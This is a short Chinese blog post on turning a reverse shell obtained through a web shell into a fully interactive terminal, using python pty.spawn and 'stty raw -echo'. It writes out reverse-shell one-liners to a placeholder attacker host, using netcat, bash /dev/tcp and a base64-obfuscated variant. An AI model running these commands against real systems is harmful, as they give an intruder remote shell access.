升级交互shell

学到一个提升web shell体验的技巧

当使用webshell反弹了shell以后,这时的shell实质上是有两个终端在共同运作,所以是无法完全交互的,可以用两种小技巧把反弹shell提升为交互式shell

有python的条件

先用nc xxx.xxx.xxx.xxx xx -e /bin/bash或者echo YmFzaCUyMC1jJTIwJTI3c2glMjAtaSUyMCUyNiUzRS9kZXYvdGNwL3h4eC54eHgueHh4Lnh4eC94eHh4JTIwMCUzRSUyNjElMjc= | base64 -d | bash(base64里的ip要更换)等方法弹回shell

再运行python -c 'import pty;pty.spawn("/bin/bash")'可以拿到半交互shell

再Ctrl+z挂起,攻击端在bash中运行下面两行命令(不要在zsh下跑这两个命令,拿到的shell总是有很多奇怪的问题)

$ stty raw -echo
$ fg

这样就可以拿到完全的交互式shell,vim还有tab键都可以正常使用

完全交互shell

没有python的环境下

如果环境下没有python的话也勉强可以提升交互式shell,但是查到的文章上说这样不一定能成功

我本地测了很多方法,只有bash -c 'bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'这样把bash弹回来

再直接Ctrl+z挂起,运行命令

$ stty raw -echo
$ fg

可以拿到交互式的shell,但是命令的换行又有问题。。

暂时查不到解决方法,但至少确实是交互shell,还可以接受

不完美的shell

Written by
crumbledwall

Keep Curious.